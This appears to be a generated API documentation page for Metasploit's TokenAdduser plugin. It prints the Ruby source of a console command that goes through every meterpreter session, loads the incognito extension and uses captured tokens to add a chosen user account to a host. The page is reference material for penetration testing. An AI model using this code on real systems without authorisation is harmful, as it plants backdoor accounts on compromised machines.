Class: Msf::Plugin::TokenAdduser::TokenCommandDispatcher

Inherits:
Object
  • Object
show all
Includes:
Ui::Console::CommandDispatcher
Defined in:
plugins/token_adduser.rb

Instance Attribute Summary

Attributes included from Ui::Console::CommandDispatcher

#driver

Attributes included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#shell, #tab_complete_items

Instance Method Summary collapse

Methods included from Ui::Console::CommandDispatcher

#active_module, #active_module=, #active_session, #active_session=, #build_range_array, #docs_dir, #framework, #initialize, #load_config, #log_error, #remove_lines

Methods included from Rex::Ui::Text::DispatcherShell::CommandDispatcher

#cmd_help, #cmd_help_help, #cmd_help_tabs, #deprecated_cmd, #deprecated_commands, #deprecated_help, #docs_dir, #help_to_s, included, #initialize, #print, #print_error, #print_good, #print_line, #print_status, #print_warning, #tab_complete_directory, #tab_complete_filenames, #tab_complete_generic, #tab_complete_source_address, #unknown_command, #update_prompt

Instance Method Details

#cmd_token_adduser(*args) ⇒ Object



30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# File 'plugins/token_adduser.rb', line 30

def cmd_token_adduser(*args)
  opts = Rex::Parser::Arguments.new(
    '-h' => [ true, 'Add account to host']
  )

  # This is ugly.
  if args.empty?
    print_line('Usage: token_adduser [options] <username> <password>')
    print_line(opts.usage)
    return
  end

  opt_user_pass = []
  username = nil
  password = nil
  host = nil
  opts.parse(args) do |opt, _idx, val|
    case opt
    when '-h'
      host = val

    else
      # Excuse my weak ruby skills. I'm sure there's a better way to get username and password
      # from the args.
      opt_user_pass << val
    end
  end

  # Again, I'm sure there's a better way to do this.
  username = opt_user_pass[0]
  password = opt_user_pass[1]

  framework.sessions.each_key do |sid|
    session = framework.sessions[sid]
    next unless session.type == 'meterpreter'

    print_status(">> Opening session #{session.sid} / #{session.session_host}")

    unless session.incognito
      session.core.use('incognito')
    end

    unless session.incognito
      print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}")
      next
    end
    # print "DEBUG #{username} #{password}\n"
    res = session.incognito.incognito_add_user(host, username, password)
    next unless res

    print "#{res}\n"

    # Currently only stops on success if a user is trying to be added to a specific
    # host. I can't think of a good reason to stop on success (or even make it an option)
    # when trying to add a user to local sessions.
    if host && (res =~ /\[\+\] Successfully|\[-\] Password does not meet complexity requirements|\[-\] User already exists/)
      break
    end
  end
end

#commandsObject



24
25
26
27
28
# File 'plugins/token_adduser.rb', line 24

def commands
  {
    'token_adduser' => 'Attempt to add an account using all connected meterpreter session tokens'
  }
end

#nameObject



20
21
22
# File 'plugins/token_adduser.rb', line 20

def name
  'Token Adduser'
end